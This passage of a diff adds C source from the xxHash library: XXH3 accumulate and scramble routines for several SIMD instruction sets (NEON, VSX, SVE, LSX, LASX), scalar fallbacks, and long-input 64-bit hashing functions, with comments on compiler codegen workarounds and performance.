xxh_aliasing_uint64x2_t* xacc = (xxh_aliasing_uint64x2_t*) acc; + uint8_t const* xsecret = (uint8_t const*) secret; + + size_t i; + /* WASM uses operator overloads and doesn't need these. */ +#ifndef __wasm_simd128__ + /* { prime32_1, prime32_1 } */ + uint32x2_t const kPrimeLo = vdup_n_u32(XXH_PRIME32_1); + /* { 0, prime32_1, 0, prime32_1 } */ + uint32x4_t const kPrimeHi = vreinterpretq_u32_u64(vdupq_n_u64((xxh_u64)XXH_PRIME32_1 << 32)); +#endif + + /* AArch64 uses both scalar and neon at the same time */ + for (i = XXH3_NEON_LANES; i < XXH_ACC_NB; i++) { + XXH3_scalarScrambleRound(acc, secret, i); + } + for (i=0; i < XXH3_NEON_LANES / 2; i++) { + /* xacc[i] ^= (xacc[i] >> 47); */ + uint64x2_t acc_vec = xacc[i]; + uint64x2_t shifted = vshrq_n_u64(acc_vec, 47); + uint64x2_t data_vec = veorq_u64(acc_vec, shifted); + + /* xacc[i] ^= xsecret[i]; */ + uint64x2_t key_vec = XXH_vld1q_u64(xsecret + (i * 16)); + uint64x2_t data_key = veorq_u64(data_vec, key_vec); + /* xacc[i] *= XXH_PRIME32_1 */ +#ifdef __wasm_simd128__ + /* SIMD128 has multiply by u64x2, use it instead of expanding and scalarizing */ + xacc[i] = data_key * XXH_PRIME32_1; +#else + /* + * Expanded version with portable NEON intrinsics + * + * lo(x) * lo(y) + (hi(x) * lo(y) << 32) + * + * prod_hi = hi(data_key) * lo(prime) << 32 + * + * Since we only need 32 bits of this multiply a trick can be used, reinterpreting the vector + * as a uint32x4_t and multiplying by { 0, prime, 0, prime } to cancel out the unwanted bits + * and avoid the shift. + */ + uint32x4_t prod_hi = vmulq_u32 (vreinterpretq_u32_u64(data_key), kPrimeHi); + /* Extract low bits for vmlal_u32 */ + uint32x2_t data_key_lo = vmovn_u64(data_key); + /* xacc[i] = prod_hi + lo(data_key) * XXH_PRIME32_1; */ + xacc[i] = vmlal_u32(vreinterpretq_u64_u32(prod_hi), data_key_lo, kPrimeLo); +#endif + } + } +} +#endif + +#if (XXH_VECTOR == XXH_VSX) + +XXH_FORCE_INLINE void +XXH3_accumulate_512_vsx( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + /* presumed aligned */ + xxh_aliasing_u64x2* const xacc = (xxh_aliasing_u64x2*) acc; + xxh_u8 const* const xinput = (xxh_u8 const*) input; /* no alignment restriction */ + xxh_u8 const* const xsecret = (xxh_u8 const*) secret; /* no alignment restriction */ + xxh_u64x2 const v32 = { 32, 32 }; + size_t i; + for (i = 0; i < XXH_STRIPE_LEN / sizeof(xxh_u64x2); i++) { + /* data_vec = xinput[i]; */ + xxh_u64x2 const data_vec = XXH_vec_loadu(xinput + 16*i); + /* key_vec = xsecret[i]; */ + xxh_u64x2 const key_vec = XXH_vec_loadu(xsecret + 16*i); + xxh_u64x2 const data_key = data_vec ^ key_vec; + /* shuffled = (data_key << 32) | (data_key >> 32); */ + xxh_u32x4 const shuffled = (xxh_u32x4)vec_rl(data_key, v32); + /* product = ((xxh_u64x2)data_key & 0xFFFFFFFF) * ((xxh_u64x2)shuffled & 0xFFFFFFFF); */ + xxh_u64x2 const product = XXH_vec_mulo((xxh_u32x4)data_key, shuffled); + /* acc_vec = xacc[i]; */ + xxh_u64x2 acc_vec = xacc[i]; + acc_vec += product; + + /* swap high and low halves */ +#ifdef __s390x__ + acc_vec += vec_permi(data_vec, data_vec, 2); +#else + acc_vec += vec_xxpermdi(data_vec, data_vec, 2); +#endif + xacc[i] = acc_vec; + } +} +XXH_FORCE_INLINE XXH3_ACCUMULATE_TEMPLATE(vsx) + +XXH_FORCE_INLINE void +XXH3_scrambleAcc_vsx(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + + { xxh_aliasing_u64x2* const xacc = (xxh_aliasing_u64x2*) acc; + const xxh_u8* const xsecret = (const xxh_u8*) secret; + /* constants */ + xxh_u64x2 const v32 = { 32, 32 }; + xxh_u64x2 const v47 = { 47, 47 }; + xxh_u32x4 const prime = { XXH_PRIME32_1, XXH_PRIME32_1, XXH_PRIME32_1, XXH_PRIME32_1 }; + size_t i; + for (i = 0; i < XXH_STRIPE_LEN / sizeof(xxh_u64x2); i++) { + /* xacc[i] ^= (xacc[i] >> 47); */ + xxh_u64x2 const acc_vec = xacc[i]; + xxh_u64x2 const data_vec = acc_vec ^ (acc_vec >> v47); + + /* xacc[i] ^= xsecret[i]; */ + xxh_u64x2 const key_vec = XXH_vec_loadu(xsecret + 16*i); + xxh_u64x2 const data_key = data_vec ^ key_vec; + + /* xacc[i] *= XXH_PRIME32_1 */ + /* prod_lo = ((xxh_u64x2)data_key & 0xFFFFFFFF) * ((xxh_u64x2)prime & 0xFFFFFFFF); */ + xxh_u64x2 const prod_even = XXH_vec_mule((xxh_u32x4)data_key, prime); + /* prod_hi = ((xxh_u64x2)data_key >> 32) * ((xxh_u64x2)prime >> 32); */ + xxh_u64x2 const prod_odd = XXH_vec_mulo((xxh_u32x4)data_key, prime); + xacc[i] = prod_odd + (prod_even << v32); + } } +} + +#endif + +#if (XXH_VECTOR == XXH_SVE) + +XXH_FORCE_INLINE void +XXH3_accumulate_512_sve( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + uint64_t *xacc = (uint64_t *)acc; + const uint64_t *xinput = (const uint64_t *)(const void *)input; + const uint64_t *xsecret = (const uint64_t *)(const void *)secret; + svuint64_t kSwap = sveor_n_u64_z(svptrue_b64(), svindex_u64(0, 1), 1); + uint64_t element_count = svcntd(); + if (element_count >= 8) { + svbool_t mask = svptrue_pat_b64(SV_VL8); + svuint64_t vacc = svld1_u64(mask, xacc); + ACCRND(vacc, 0); + svst1_u64(mask, xacc, vacc); + } else if (element_count == 2) { /* sve128 */ + svbool_t mask = svptrue_pat_b64(SV_VL2); + svuint64_t acc0 = svld1_u64(mask, xacc + 0); + svuint64_t acc1 = svld1_u64(mask, xacc + 2); + svuint64_t acc2 = svld1_u64(mask, xacc + 4); + svuint64_t acc3 = svld1_u64(mask, xacc + 6); + ACCRND(acc0, 0); + ACCRND(acc1, 2); + ACCRND(acc2, 4); + ACCRND(acc3, 6); + svst1_u64(mask, xacc + 0, acc0); + svst1_u64(mask, xacc + 2, acc1); + svst1_u64(mask, xacc + 4, acc2); + svst1_u64(mask, xacc + 6, acc3); + } else { + svbool_t mask = svptrue_pat_b64(SV_VL4); + svuint64_t acc0 = svld1_u64(mask, xacc + 0); + svuint64_t acc1 = svld1_u64(mask, xacc + 4); + ACCRND(acc0, 0); + ACCRND(acc1, 4); + svst1_u64(mask, xacc + 0, acc0); + svst1_u64(mask, xacc + 4, acc1); + } +} + +XXH_FORCE_INLINE void +XXH3_accumulate_sve(xxh_u64* XXH_RESTRICT acc, + const xxh_u8* XXH_RESTRICT input, + const xxh_u8* XXH_RESTRICT secret, + size_t nbStripes) +{ + if (nbStripes != 0) { + uint64_t *xacc = (uint64_t *)acc; + const uint64_t *xinput = (const uint64_t *)(const void *)input; + const uint64_t *xsecret = (const uint64_t *)(const void *)secret; + svuint64_t kSwap = sveor_n_u64_z(svptrue_b64(), svindex_u64(0, 1), 1); + uint64_t element_count = svcntd(); + if (element_count >= 8) { + svbool_t mask = svptrue_pat_b64(SV_VL8); + svuint64_t vacc = svld1_u64(mask, xacc + 0); + do { + /* svprfd(svbool_t, void *, enum svfprop); */ + svprfd(mask, xinput + 128, SV_PLDL1STRM); + ACCRND(vacc, 0); + xinput += 8; + xsecret += 1; + nbStripes--; + } while (nbStripes != 0); + + svst1_u64(mask, xacc + 0, vacc); + } else if (element_count == 2) { /* sve128 */ + svbool_t mask = svptrue_pat_b64(SV_VL2); + svuint64_t acc0 = svld1_u64(mask, xacc + 0); + svuint64_t acc1 = svld1_u64(mask, xacc + 2); + svuint64_t acc2 = svld1_u64(mask, xacc + 4); + svuint64_t acc3 = svld1_u64(mask, xacc + 6); + do { + svprfd(mask, xinput + 128, SV_PLDL1STRM); + ACCRND(acc0, 0); + ACCRND(acc1, 2); + ACCRND(acc2, 4); + ACCRND(acc3, 6); + xinput += 8; + xsecret += 1; + nbStripes--; + } while (nbStripes != 0); + + svst1_u64(mask, xacc + 0, acc0); + svst1_u64(mask, xacc + 2, acc1); + svst1_u64(mask, xacc + 4, acc2); + svst1_u64(mask, xacc + 6, acc3); + } else { + svbool_t mask = svptrue_pat_b64(SV_VL4); + svuint64_t acc0 = svld1_u64(mask, xacc + 0); + svuint64_t acc1 = svld1_u64(mask, xacc + 4); + do { + svprfd(mask, xinput + 128, SV_PLDL1STRM); + ACCRND(acc0, 0); + ACCRND(acc1, 4); + xinput += 8; + xsecret += 1; + nbStripes--; + } while (nbStripes != 0); + + svst1_u64(mask, xacc + 0, acc0); + svst1_u64(mask, xacc + 4, acc1); + } + } +} + +#endif + +#if (XXH_VECTOR == XXH_LSX) +#define _LSX_SHUFFLE(z, y, x, w) (((z) << 6) | ((y) << 4) | ((x) << 2) | (w)) + +XXH_FORCE_INLINE void +XXH3_accumulate_512_lsx( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + { + __m128i* const xacc = (__m128i *) acc; + const __m128i* const xinput = (const __m128i *) input; + const __m128i* const xsecret = (const __m128i *) secret; + + for (size_t i = 0; i < XXH_STRIPE_LEN / sizeof(__m128i); i++) { + /* data_vec = xinput[i]; */ + __m128i const data_vec = __lsx_vld(xinput + i, 0); + /* key_vec = xsecret[i]; */ + __m128i const key_vec = __lsx_vld(xsecret + i, 0); + /* data_key = data_vec ^ key_vec; */ + __m128i const data_key = __lsx_vxor_v(data_vec, key_vec); + /* data_key_lo = data_key >> 32; */ + __m128i const data_key_lo = __lsx_vsrli_d(data_key, 32); + // __m128i const data_key_lo = __lsx_vsrli_d(data_key, 32); + /* product = (data_key & 0xffffffff) * (data_key_lo & 0xffffffff); */ + __m128i const product = __lsx_vmulwev_d_wu(data_key, data_key_lo); + /* xacc[i] += swap(data_vec); */ + __m128i const data_swap = __lsx_vshuf4i_w(data_vec, _LSX_SHUFFLE(1, 0, 3, 2)); + __m128i const sum = __lsx_vadd_d(xacc[i], data_swap); + /* xacc[i] += product; */ + xacc[i] = __lsx_vadd_d(product, sum); + } + } +} +XXH_FORCE_INLINE XXH3_ACCUMULATE_TEMPLATE(lsx) + +XXH_FORCE_INLINE void +XXH3_scrambleAcc_lsx(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + { + __m128i* const xacc = (__m128i*) acc; + const __m128i* const xsecret = (const __m128i *) secret; + const __m128i prime32 = __lsx_vreplgr2vr_d(XXH_PRIME32_1); + + for (size_t i = 0; i < XXH_STRIPE_LEN / sizeof(__m128i); i++) { + /* xacc[i] ^= (xacc[i] >> 47) */ + __m128i const acc_vec = xacc[i]; + __m128i const shifted = __lsx_vsrli_d(acc_vec, 47); + __m128i const data_vec = __lsx_vxor_v(acc_vec, shifted); + /* xacc[i] ^= xsecret[i]; */ + __m128i const key_vec = __lsx_vld(xsecret + i, 0); + __m128i const data_key = __lsx_vxor_v(data_vec, key_vec); + + /* xacc[i] *= XXH_PRIME32_1; */ + xacc[i] = __lsx_vmul_d(data_key, prime32); + } + } +} + +#endif + +#if (XXH_VECTOR == XXH_LASX) +#define _LASX_SHUFFLE(z, y, x, w) (((z) << 6) | ((y) << 4) | ((x) << 2) | (w)) + +XXH_FORCE_INLINE void +XXH3_accumulate_512_lasx( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 31) == 0); + { + __m256i* const xacc = (__m256i *) acc; + const __m256i* const xinput = (const __m256i *) input; + const __m256i* const xsecret = (const __m256i *) secret; + + for (size_t i = 0; i < XXH_STRIPE_LEN / sizeof(__m256i); i++) { + /* data_vec = xinput[i]; */ + __m256i const data_vec = __lasx_xvld(xinput + i, 0); + /* key_vec = xsecret[i]; */ + __m256i const key_vec = __lasx_xvld(xsecret + i, 0); + /* data_key = data_vec ^ key_vec; */ + __m256i const data_key = __lasx_xvxor_v(data_vec, key_vec); + /* data_key_lo = data_key >> 32; */ + __m256i const data_key_lo = __lasx_xvsrli_d(data_key, 32); + // __m256i const data_key_lo = __lasx_xvsrli_d(data_key, 32); + /* product = (data_key & 0xffffffff) * (data_key_lo & 0xffffffff); */ + __m256i const product = __lasx_xvmulwev_d_wu(data_key, data_key_lo); + /* xacc[i] += swap(data_vec); */ + __m256i const data_swap = __lasx_xvshuf4i_w(data_vec, _LASX_SHUFFLE(1, 0, 3, 2)); + __m256i const sum = __lasx_xvadd_d(xacc[i], data_swap); + /* xacc[i] += product; */ + xacc[i] = __lasx_xvadd_d(product, sum); + } + } +} +XXH_FORCE_INLINE XXH3_ACCUMULATE_TEMPLATE(lasx) + +XXH_FORCE_INLINE void +XXH3_scrambleAcc_lasx(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 31) == 0); + { + __m256i* const xacc = (__m256i*) acc; + const __m256i* const xsecret = (const __m256i *) secret; + const __m256i prime32 = __lasx_xvreplgr2vr_d(XXH_PRIME32_1); + + for (size_t i = 0; i < XXH_STRIPE_LEN / sizeof(__m256i); i++) { + /* xacc[i] ^= (xacc[i] >> 47) */ + __m256i const acc_vec = xacc[i]; + __m256i const shifted = __lasx_xvsrli_d(acc_vec, 47); + __m256i const data_vec = __lasx_xvxor_v(acc_vec, shifted); + /* xacc[i] ^= xsecret[i]; */ + __m256i const key_vec = __lasx_xvld(xsecret + i, 0); + __m256i const data_key = __lasx_xvxor_v(data_vec, key_vec); + + /* xacc[i] *= XXH_PRIME32_1; */ + xacc[i] = __lasx_xvmul_d(data_key, prime32); + } + } +} + +#endif + +/* scalar variants - universal */ + +#if defined(__aarch64__) && (defined(__GNUC__) || defined(__clang__)) +/* + * In XXH3_scalarRound(), GCC and Clang have a similar codegen issue, where they + * emit an excess mask and a full 64-bit multiply-add (MADD X-form). + * + * While this might not seem like much, as AArch64 is a 64-bit architecture, only + * big Cortex designs have a full 64-bit multiplier. + * + * On the little cores, the smaller 32-bit multiplier is used, and full 64-bit + * multiplies expand to 2-3 multiplies in microcode. This has a major penalty + * of up to 4 latency cycles and 2 stall cycles in the multiply pipeline. + * + * Thankfully, AArch64 still provides the 32-bit long multiply-add (UMADDL) which does + * not have this penalty and does the mask automatically. + */ +XXH_FORCE_INLINE xxh_u64 +XXH_mult32to64_add64(xxh_u64 lhs, xxh_u64 rhs, xxh_u64 acc) +{ + xxh_u64 ret; + /* note: %x = 64-bit register, %w = 32-bit register */ + __asm__("umaddl %x0, %w1, %w2, %x3" : "=r" (ret) : "r" (lhs), "r" (rhs), "r" (acc)); + return ret; +} +#else +XXH_FORCE_INLINE xxh_u64 +XXH_mult32to64_add64(xxh_u64 lhs, xxh_u64 rhs, xxh_u64 acc) +{ + return XXH_mult32to64((xxh_u32)lhs, (xxh_u32)rhs) + acc; +} +#endif + +/*! + * @internal + * @brief Scalar round for @ref XXH3_accumulate_512_scalar(). + * + * This is extracted to its own function because the NEON path uses a combination + * of NEON and scalar. + */ +XXH_FORCE_INLINE void +XXH3_scalarRound(void* XXH_RESTRICT acc, + void const* XXH_RESTRICT input, + void const* XXH_RESTRICT secret, + size_t lane) +{ + xxh_u64* xacc = (xxh_u64*) acc; + xxh_u8 const* xinput = (xxh_u8 const*) input; + xxh_u8 const* xsecret = (xxh_u8 const*) secret; + XXH_ASSERT(lane < XXH_ACC_NB); + XXH_ASSERT(((size_t)acc & (XXH_ACC_ALIGN-1)) == 0); + { + xxh_u64 const data_val = XXH_readLE64(xinput + lane * 8); + xxh_u64 const data_key = data_val ^ XXH_readLE64(xsecret + lane * 8); + xacc[lane ^ 1] += data_val; /* swap adjacent lanes */ + xacc[lane] = XXH_mult32to64_add64(data_key /* & 0xFFFFFFFF */, data_key >> 32, xacc[lane]); + } +} + +/*! + * @internal + * @brief Processes a 64 byte block of data using the scalar path. + */ +XXH_FORCE_INLINE void +XXH3_accumulate_512_scalar(void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + size_t i; + /* ARM GCC refuses to unroll this loop, resulting in a 24% slowdown on ARMv6. */ +#if defined(__GNUC__) && !defined(__clang__) \ + && (defined(__arm__) || defined(__thumb2__)) \ + && defined(__ARM_FEATURE_UNALIGNED) /* no unaligned access just wastes bytes */ \ + && XXH_SIZE_OPT <= 0 +# pragma GCC unroll 8 +#endif + for (i=0; i < XXH_ACC_NB; i++) { + XXH3_scalarRound(acc, input, secret, i); + } +} +XXH_FORCE_INLINE XXH3_ACCUMULATE_TEMPLATE(scalar) + +/*! + * @internal + * @brief Scalar scramble step for @ref XXH3_scrambleAcc_scalar(). + * + * This is extracted to its own function because the NEON path uses a combination + * of NEON and scalar. + */ +XXH_FORCE_INLINE void +XXH3_scalarScrambleRound(void* XXH_RESTRICT acc, + void const* XXH_RESTRICT secret, + size_t lane) +{ + xxh_u64* const xacc = (xxh_u64*) acc; /* presumed aligned */ + const xxh_u8* const xsecret = (const xxh_u8*) secret; /* no alignment restriction */ + XXH_ASSERT((((size_t)acc) & (XXH_ACC_ALIGN-1)) == 0); + XXH_ASSERT(lane < XXH_ACC_NB); + { + xxh_u64 const key64 = XXH_readLE64(xsecret + lane * 8); + xxh_u64 acc64 = xacc[lane]; + acc64 = XXH_xorshift64(acc64, 47); + acc64 ^= key64; + acc64 *= XXH_PRIME32_1; + xacc[lane] = acc64; + } +} + +/*! + * @internal + * @brief Scrambles the accumulators after a large chunk has been read + */ +XXH_FORCE_INLINE void +XXH3_scrambleAcc_scalar(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + size_t i; + for (i=0; i < XXH_ACC_NB; i++) { + XXH3_scalarScrambleRound(acc, secret, i); + } +} + +XXH_FORCE_INLINE void +XXH3_initCustomSecret_scalar(void* XXH_RESTRICT customSecret, xxh_u64 seed64) +{ + /* + * We need a separate pointer for the hack below, + * which requires a non-const pointer. + * Any decent compiler will optimize this out otherwise. + */ + const xxh_u8* kSecretPtr = XXH3_kSecret; + XXH_STATIC_ASSERT((XXH_SECRET_DEFAULT_SIZE & 15) == 0); + +#if defined(__GNUC__) && defined(__aarch64__) + /* + * UGLY HACK: + * GCC and Clang generate a bunch of MOV/MOVK pairs for aarch64, and they are + * placed sequentially, in order, at the top of the unrolled loop. + * + * While MOVK is great for generating constants (2 cycles for a 64-bit + * constant compared to 4 cycles for LDR), it fights for bandwidth with + * the arithmetic instructions. + * + * I L S + * MOVK + * MOVK + * MOVK + * MOVK + * ADD + * SUB STR + * STR + * By forcing loads from memory (as the asm line causes the compiler to assume + * that XXH3_kSecretPtr has been changed), the pipelines are used more + * efficiently: + * I L S + * LDR + * ADD LDR + * SUB STR + * STR + * + * See XXH3_NEON_LANES for details on the pipsline. + * + * XXH3_64bits_withSeed, len == 256, Snapdragon 835 + * without hack: 2654.4 MB/s + * with hack: 3202.9 MB/s + */ + XXH_COMPILER_GUARD(kSecretPtr); +#endif + { int const nbRounds = XXH_SECRET_DEFAULT_SIZE / 16; + int i; + for (i=0; i < nbRounds; i++) { + /* + * The asm hack causes the compiler to assume that kSecretPtr aliases with + * customSecret, and on aarch64, this prevented LDP from merging two + * loads together for free. Putting the loads together before the stores + * properly generates LDP. + */ + xxh_u64 lo = XXH_readLE64(kSecretPtr + 16*i) + seed64; + xxh_u64 hi = XXH_readLE64(kSecretPtr + 16*i + 8) - seed64; + XXH_writeLE64((xxh_u8*)customSecret + 16*i, lo); + XXH_writeLE64((xxh_u8*)customSecret + 16*i + 8, hi); + } } +} + + +typedef void (*XXH3_f_accumulate)(xxh_u64* XXH_RESTRICT, const xxh_u8* XXH_RESTRICT, const xxh_u8* XXH_RESTRICT, size_t); +typedef void (*XXH3_f_scrambleAcc)(void* XXH_RESTRICT, const void*); +typedef void (*XXH3_f_initCustomSecret)(void* XXH_RESTRICT, xxh_u64); + + +#if (XXH_VECTOR == XXH_AVX512) + +#define XXH3_accumulate_512 XXH3_accumulate_512_avx512 +#define XXH3_accumulate XXH3_accumulate_avx512 +#define XXH3_scrambleAcc XXH3_scrambleAcc_avx512 +#define XXH3_initCustomSecret XXH3_initCustomSecret_avx512 + +#elif (XXH_VECTOR == XXH_AVX2) + +#define XXH3_accumulate_512 XXH3_accumulate_512_avx2 +#define XXH3_accumulate XXH3_accumulate_avx2 +#define XXH3_scrambleAcc XXH3_scrambleAcc_avx2 +#define XXH3_initCustomSecret XXH3_initCustomSecret_avx2 + +#elif (XXH_VECTOR == XXH_SSE2) + +#define XXH3_accumulate_512 XXH3_accumulate_512_sse2 +#define XXH3_accumulate XXH3_accumulate_sse2 +#define XXH3_scrambleAcc XXH3_scrambleAcc_sse2 +#define XXH3_initCustomSecret XXH3_initCustomSecret_sse2 + +#elif (XXH_VECTOR == XXH_NEON) + +#define XXH3_accumulate_512 XXH3_accumulate_512_neon +#define XXH3_accumulate XXH3_accumulate_neon +#define XXH3_scrambleAcc XXH3_scrambleAcc_neon +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#elif (XXH_VECTOR == XXH_VSX) + +#define XXH3_accumulate_512 XXH3_accumulate_512_vsx +#define XXH3_accumulate XXH3_accumulate_vsx +#define XXH3_scrambleAcc XXH3_scrambleAcc_vsx +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#elif (XXH_VECTOR == XXH_SVE) +#define XXH3_accumulate_512 XXH3_accumulate_512_sve +#define XXH3_accumulate XXH3_accumulate_sve +#define XXH3_scrambleAcc XXH3_scrambleAcc_scalar +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#elif (XXH_VECTOR == XXH_LASX) +#define XXH3_accumulate_512 XXH3_accumulate_512_lasx +#define XXH3_accumulate XXH3_accumulate_lasx +#define XXH3_scrambleAcc XXH3_scrambleAcc_lasx +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#elif (XXH_VECTOR == XXH_LSX) +#define XXH3_accumulate_512 XXH3_accumulate_512_lsx +#define XXH3_accumulate XXH3_accumulate_lsx +#define XXH3_scrambleAcc XXH3_scrambleAcc_lsx +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#else /* scalar */ + +#define XXH3_accumulate_512 XXH3_accumulate_512_scalar +#define XXH3_accumulate XXH3_accumulate_scalar +#define XXH3_scrambleAcc XXH3_scrambleAcc_scalar +#define XXH3_initCustomSecret XXH3_initCustomSecret_scalar + +#endif + +#if XXH_SIZE_OPT >= 1 /* don't do SIMD for initialization */ +# undef XXH3_initCustomSecret +# define XXH3_initCustomSecret XXH3_initCustomSecret_scalar +#endif + +XXH_FORCE_INLINE void +XXH3_hashLong_internal_loop(xxh_u64* XXH_RESTRICT acc, + const xxh_u8* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble) +{ + size_t const nbStripesPerBlock = (secretSize - XXH_STRIPE_LEN) / XXH_SECRET_CONSUME_RATE; + size_t const block_len = XXH_STRIPE_LEN * nbStripesPerBlock; + size_t const nb_blocks = (len - 1) / block_len; + + size_t n; + + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); + + for (n = 0; n < nb_blocks; n++) { + f_acc(acc, input + n*block_len, secret, nbStripesPerBlock); + f_scramble(acc, secret + secretSize - XXH_STRIPE_LEN); + } + + /* last partial block */ + XXH_ASSERT(len > XXH_STRIPE_LEN); + { size_t const nbStripes = ((len - 1) - (block_len * nb_blocks)) / XXH_STRIPE_LEN; + XXH_ASSERT(nbStripes <= (secretSize / XXH_SECRET_CONSUME_RATE)); + f_acc(acc, input + nb_blocks*block_len, secret, nbStripes); + + /* last stripe */ + { const xxh_u8* const p = input + len - XXH_STRIPE_LEN; +#define XXH_SECRET_LASTACC_START 7 /* not aligned on 8, last secret is different from acc & scrambler */ + XXH3_accumulate_512(acc, p, secret + secretSize - XXH_STRIPE_LEN - XXH_SECRET_LASTACC_START); + } } +} + +XXH_FORCE_INLINE xxh_u64 +XXH3_mix2Accs(const xxh_u64* XXH_RESTRICT acc, const xxh_u8* XXH_RESTRICT secret) +{ + return XXH3_mul128_fold64( + acc[0] ^ XXH_readLE64(secret), + acc[1] ^ XXH_readLE64(secret+8) ); +} + +static XXH_PUREF XXH64_hash_t +XXH3_mergeAccs(const xxh_u64* XXH_RESTRICT acc, const xxh_u8* XXH_RESTRICT secret, xxh_u64 start) +{ + xxh_u64 result64 = start; + size_t i = 0; + + for (i = 0; i < 4; i++) { + result64 += XXH3_mix2Accs(acc+2*i, secret + 16*i); +#if defined(__clang__) /* Clang */ \ + && (defined(__arm__) || defined(__thumb__)) /* ARMv7 */ \ + && (defined(__ARM_NEON) || defined(__ARM_NEON__)) /* NEON */ \ + && !defined(XXH_ENABLE_AUTOVECTORIZE) /* Define to disable */ + /* + * UGLY HACK: + * Prevent autovectorization on Clang ARMv7-a. Exact same problem as + * the one in XXH3_len_129to240_64b. Speeds up shorter keys > 240b. + * XXH3_64bits, len == 256, Snapdragon 835: + * without hack: 2063.7 MB/s + * with hack: 2560.7 MB/s + */ + XXH_COMPILER_GUARD(result64); +#endif + } + + return XXH3_avalanche(result64); +} + +/* do not align on 8, so that the secret is different from the accumulator */ +#define XXH_SECRET_MERGEACCS_START 11 + +static XXH_PUREF XXH64_hash_t +XXH3_finalizeLong_64b(const xxh_u64* XXH_RESTRICT acc, const xxh_u8* XXH_RESTRICT secret, xxh_u64 len) +{ + return XXH3_mergeAccs(acc, secret + XXH_SECRET_MERGEACCS_START, len * XXH_PRIME64_1); +} + +#define XXH3_INIT_ACC { XXH_PRIME32_3, XXH_PRIME64_1, XXH_PRIME64_2, XXH_PRIME64_3, \ + XXH_PRIME64_4, XXH_PRIME32_2, XXH_PRIME64_5, XXH_PRIME32_1 } + +XXH_FORCE_INLINE XXH64_hash_t +XXH3_hashLong_64b_internal(const void* XXH_RESTRICT input, size_t len, + const void* XXH_RESTRICT secret, size_t secretSize, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble) +{ + XXH_ALIGN(XXH_ACC_ALIGN) xxh_u64 acc[XXH_ACC_NB] = XXH3_INIT_ACC; + + XXH3_hashLong_internal_loop(acc, (const xxh_u8*)input, len, (const xxh_u8*)secret, secretSize, f_acc, f_scramble); + + /* converge into final hash */ + XXH_STATIC_ASSERT(sizeof(acc) == 64); + XXH_ASSERT(secretSize >= sizeof(acc) + XXH_SECRET_MERGEACCS_START); + return XXH3_finalizeLong_64b(acc, (const xxh_u8*)secret, (xxh_u64)len); +} + +/* + * It's important for performance to transmit secret's size (when it's static) + * so that the compiler can properly optimize the vectorized loop. + * This makes a big performance difference for "medium" keys (<1 KB) when using AVX instruction set. + * When the secret size is unknown, or on GCC 12 where the mix of NO_INLINE and FORCE_INLINE + * breaks -Og, this is XXH_NO_INLINE. + */ +XXH3_WITH_SECRET_INLINE XXH64_hash_t +XXH3_hashLong_64b_withSecret(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, const xxh_u8* XXH_RESTRICT secret, size_t secretLen) +{ + (void)seed64; + return XXH3_hashLong_64b_internal(input, len, secret, secretLen, XXH3_accumulate, XXH3_scrambleAcc); +} + +/* + * It's preferable for performance that XXH3_hashLong is not inlined, + * as it results in a smaller function for small data, easier to the instruction cache. + * Note that inside this no_inline function, we do inline the internal loop, + * and provide a statically defined secret size to allow optimization of vector loop. + */ +XXH_NO_INLINE XXH_PUREF XXH64_hash_t +XXH3_hashLong_64b_default(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, const xxh_u8* XXH_RESTRICT secret, size_t secretLen) +{ + (void)seed64; (void)secret; (void)secretLen; + return XXH3_hashLong_64b_internal(input, len, XXH3_kSecret, sizeof(XXH3_kSecret), XXH3_accumulate, XXH3_scrambleAcc); +} + +/* + * XXH3_hashLong_64b_withSeed(): + * Generate a custom key based on alteration of default XXH3_kSecret with the seed, + * and then use this key for long mode hashing. + * + * This operation is decently fast but nonetheless costs a little bit of time. + * Try to avoid it whenever possible (typically when seed==0). + * + * It's important for performance that XXH3_hashLong is not inlined. Not sure + * why (uop cache maybe?), but the difference is large and easily measurable. + */ +XXH_FORCE_INLINE XXH64_hash_t +XXH3_hashLong_64b_withSeed_internal(const void* input, size_t len, + XXH64_hash_t seed, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble, + XXH3_f_initCustomSecret f_initSec) +{ +#if XXH_SIZE_OPT <= 0 + if (seed == 0) + return XXH3_hashLong_64b_internal(input, len, + XXH3_kSecret, sizeof(XXH3_kSecret), + f_acc, f_scramble); +#endif + { XXH_ALIGN(XXH_SEC_ALIGN) xxh_u8 secret[XXH_SECRET_DEFAULT_SIZE]; + f_initSec(secret, seed); + return XXH3_hashLong_64b_internal(input, len, secret, sizeof(secret), + f_acc, f_scramble); + } +} + +/* + * It's important for performance that XXH3_hashLong is not inlined. + */ +XXH_NO_INLINE XXH64_hash_t +XXH3_hashLong_64b_withSeed(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed, const xxh_u8* XXH_RESTRICT secret, size_t secretLen) +{ + (void)secret; (void)secretLen; + return XXH3_hashLong_64b_withSeed_internal(input, len, seed, + XXH3_accumulate, XXH3_scrambleAcc, XXH3_initCustomSecret); +} + + +typedef XXH64_hash_t 